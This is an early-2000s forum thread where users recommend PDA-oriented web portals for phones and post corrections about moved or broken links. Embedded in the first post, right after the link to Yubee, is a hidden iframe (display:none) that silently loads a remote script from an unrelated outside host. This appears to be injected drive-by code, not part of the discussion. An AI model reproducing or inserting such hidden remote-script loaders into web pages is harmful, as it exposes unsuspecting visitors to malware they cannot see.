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    What portal sites are good to use with my phone?

    You can pretty much browse any website that you like, however your experience will be better if you focus on sites that are designed for a PDA. Remember that most websites are designed for a standard solution of 800x600 or greater. They are also increasingly assuming the users have the bandwidth to support a lot of graphics. The good part, is that the core information is actually more easily found sometimes when you pull back all the bells and whistles. If you are using a pdaPhone over a relatively slow wireless connection, this becomes critical. Here are the PDA enabled sites that I have found to be the most usable.
    <a class="postlink" target="_blank" href="http://www.smartphoneforums.com/phpBB2/portalpda.php">pdaPhoneHome - PDA Edition</a> - You've got to have it!
    <a class="postlink" target="_blank" href="http://blazer.handspring.com/blazer">Handspring Blazer Portal</a> - Yes, I'm serious... this site seems to offer all the things your looking for, no frills, and VERY usable the first time you use it.
    <a class="postlink" target="_blank" href="http://www.mymobilestuff.com">MyMobileStuff.com</a> - This is an attempt to pull all the PDA enabled sites together, but there is so much there that it can get overwhelming... the key is to setup your profile for the sites you use.
    <a class="postlink" target="_blank" href="http://mobile.msn.com/pocketpc">MSN Mobile</a> - Microsoft has good information here formatted for a PDA, but they also have lots of graphics and frills which add to your bandwidth load.
    <a class="postlink" target="_blank" href="http://www.urthere.com/mobile/lin">urThere.com</a> - A decent portal to lots of PDA enabled sites.
    <a class="postlink" target="_blank" href="http://www.yubee.com">Yubee</a> - A personalized portal to lots of PDA enabled sites.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    Mike - Been Converged?

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    suggested updates

    This is helpful and gives hope to the Newby. Blazer and Yubee both look interesting. Might I point out:
    1. My browser cannot find the PPC portal for pdaphonehome.com
    (WHERE IS IT? THIS IS A BURNING QUESTION!)
    2. MyMobileStuff.com now links to evmo.com (Evolution Mobile)
    3. urThere.com now links to NetworkSolution (under construction, doesn't seem PPC-ready)
    4. It would be helpful to mention the sites listed in the Favorites folder on a newly installed machine (with AvantGo synced in):
    a) AvantGo channels
    b) Downloads (vzw.msn.com)
    c) MSN Mobile (which was mentioned in the answer)
    d) Pocket PC Web Guide and Pocket PC.com (which link to the same page)
    e) Windows Media.com

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    Mobile Edition found

    In the thread started by meir602 on 10/15/03, it says that the beta for the Mobile Edition of pdaphonehome.com is at:

    pdaphonehome.com/forums/portal.php?syleid=5.

    This works!

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    SKWEEZER.net

    If you want a fun program for browsing the web and that loads quickly, try www.skweezer.net

    This program allows you to enter the site that you want to browse such as USA Today, and within seconds has it neatly laid out on the screen in one single column. You can still browse other sections of the site, and it will load those pages just as quickly.

    There is also WebXcope which is also designed to speed up pages being browsed and laying them out in an easy to read format.

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